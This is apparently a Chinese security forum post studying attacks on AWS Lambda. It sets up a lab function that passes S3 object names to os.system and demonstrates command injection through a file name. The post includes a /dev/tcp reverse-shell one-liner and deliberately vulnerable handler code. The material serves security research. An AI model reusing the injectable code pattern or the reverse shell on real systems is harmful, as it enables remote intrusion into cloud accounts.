[原创]ServerLess Aws Lambda攻击方法研究

发表于: 2022-6-9 11:07 690

[原创]ServerLess Aws Lambda攻击方法研究

UzJu

2022-6-9 11:07

690

前言

1、这篇文章讲了什么？

文本围绕三个问题

1、lambda会遇到什么攻击场景

2、什么情况下，在lambda中读取到的env环境变量密钥可以让我们接管服务器甚至整个账号

3、什么情况下，可以通过lambda权限去横向到其他的EC2服务器

本文会对这三个问题进行解答，并且进行演示

2、什么是ServerLess和Lambda

Serverless，即无服务器计算。然而Serverless不是不再需要服务器，而是公司或开发者不用过多考虑服务器的问题，计算资源仅作为一种服务而不再以物理硬件的形式出现。

图片描述

为什么使用ServerLess

Serverless免除公司和开发者对服务器维护的麻烦，因此也不用考虑DevOps了。公司和开发者只需关注应用的开发和运维即可，因此Serverless可以在更大程度上节约运维的成本。

Serverless的优势

可用性冗余，以便单个机器故障不会导致服务中断
冗余副本的地理分布，以便在发生灾难时保留服务
负载平衡和请求路由以有效利用资源
响应负载变化进行自动缩放以扩展或缩小系统
监控以确保服务仍然运行良好
记录以记录调试或性能调整所需的消息
系统升级，包括安全修补
迁移到新实例时可用

选自阿里云

https://www.alibabacloud.com/zh/knowledge/what-is-serverless

一、场景搭建与实践

https://us-east-1.console.aws.amazon.com/lambda/home?region=us-east-1#/create/function

1、创建一个lambda函数

这里都是用默认的设置

并且我们对执行的角色也是用默认的选项

在高级设置中，我们也保持默认

2、为lambda函数添加触发器

在编写函数代码之前，我们需要添加触发器

为了演示方便，我们不去考虑这个函数在业务中的具体作用，只需在意这个函数在什么时候触发即可
首先我们创建一个S3 存储桶

并且我们在刚刚创建的函数添加触发器，并且选择这个存储桶，触发的事件类型也选择所有对象创建事件

在我们开始编写函数前，我们需要知道，在S3上传对象时，所获取到的内容是什么样子的
上传一个文件，触发一下日志

随后在cloud watch中就可以看到上传的日志

这里可以看到object中的key是上传的文件名，那假设函数获取的文件名并且当成命令执行，那么在上传文件时如果未对文件进行重命名就会造成问题，或者更加直接一些，我们直接获取文件的内容，将内容当做命令执行，或者写一个flask或者django的服务来接收参数然后执行命令

这里看上去会比较鸡肋，因为毕竟太刻意了，黑盒模式下也不太好遇上，这里的举例只做研究使用

我们将这里的Json数据取出来，然后丢到lambda测试，这样更加方便

这里我们主要关注这个event，对event的数据进行处理

import json
 
 
def lambda_handler(event, context):
    for i in event['Records']:
        getObjectName = i['s3']['object']['key']
        print(getObjectName)

这样可以单独把文件名取出来

开始对这个文件名进行处理，直接使用Split函数对文件名进行.号分割，取下标值即可取到文件名

import json
import os
 
def lambda_handler(event, context):
    for i in event['Records']:
        getObjectName = i['s3']['object']['key']
        getSplitObjectName = getObjectName.split('.')
        os.system(getSplitObjectName[0])

为了方便测试手动把测试数据的KEY改为whoami.jpeg

点击Test函数，查看返回结果

3、执行命令

3.1、反弹shell

那么此时尝试反弹Shell，看看是否能弹回来

1	`exec` `/bin/sh` `0</dev/tcp/ip/1234` `1>&0` `2>&0`

代码需要改成下面这样

import json
import os
 
def lambda_handler(event, context):
    for i in event['Records']:
        getObjectName = i['s3']['object']['key']
        getSplitObjectName = getObjectName.rsplit('.', 1)
        print((getSplitObjectName))

为什么要用rsplit而不用split呢？因为只需要取最后一个.点开始分割，如果使用split，会把IP地址也进行分割

import json
import os
 
def lambda_handler(event, context):
    try:
        for i in event['Records']:
            getObjectName = i['s3']['object']['key']
            getSplitObjectName = getObjectName.rsplit('.', 1)
            os.system(getSplitObjectName[0])
    except Except as e:
        print(e)